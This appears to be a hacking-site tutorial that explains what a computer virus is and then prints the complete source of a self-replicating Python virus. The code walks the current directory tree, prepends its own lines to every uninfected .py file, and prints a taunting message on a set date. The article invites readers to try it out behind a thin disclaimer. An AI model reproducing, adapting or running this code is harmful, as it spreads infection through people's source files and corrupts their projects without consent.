Hello friends !!
Join the channel Telegram of the AnonyViet 👉 Link 👈 |
One computer virus is a type of malicious software program (“malware”) that, when executed, replicates itself (copying its own source code) or infects other computer programs by altering the Computer programs may include them.data files, or “boot” sectors of the hard drive.
Virus writers use coding techniques and exploit detailed knowledge of vulnerabilities to gain access to their host computers and private resources. Most viruses target systems running Microsoft Windows, use a variety of new host infection mechanisms, and are often used to prevent detection or bypass Antivirus software.
Motivation to create virus may originate from the purpose of seeking profits of hackers
e.g. with ransomware, the desire to send a political message, for personal entertainment, to prove that a vulnerability exists in the software, for sabotage and denial of service, or simply because they want to explore cybersecurityissues, artificial life and evolutionary algorithms.
Here in this article we will guide simple python virus code for you to see what is Virus. Although this is a simple virus, for computer systems back in the day, it was a top threat in the world!!!
Note Before Doing
Our guide is designed to assist aspiring security testing enthusiasts in learning new skills, we only recommend testing this guide on one system or operating system. belong to you. We are not responsible for anyone who thinks it’s a good idea to try to use this to try to hack systems that don’t belong to you.
#!/usr/bin/python import os import datetime SIGNATURE = "SIMPLE PYTHON VIRUS" def search(path): filestoinfect = [] filelist = os.listdir(path) for fname in filelist: if os.path.isdir(path+"/"+fname): filestoinfect.extend(search(path+"/"+fname)) elif fname[-3:] == ".py": infected = False for line in open(path+"/"+fname): if SIGNATURE in line: infected = True break if infected == False: filestoinfect.append(path+"/"+fname) return filestoinfect def infect(filestoinfect): virus = open(os.path.abspath(__file__)) virusstring = "" for i,line in enumerate(virus): if i>=0 and i <39: virusstring += line virus.close for fname in filestoinfect: f = open(fname) temp = f.read() f.close() f = open(fname,"w") f.write(virusstring + temp) f.close() def bomb(): if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25: print "HAHA YOU ARE AFFECTED BY VIRUS!! AND THAT'S AN EVIL ALUGH BY THE WAY!!" filestoinfect = search(os.path.abspath("")) infect(filestoinfect) bomb()
If you want to know what the use is, try it out =)
AnonyViet wishes you success!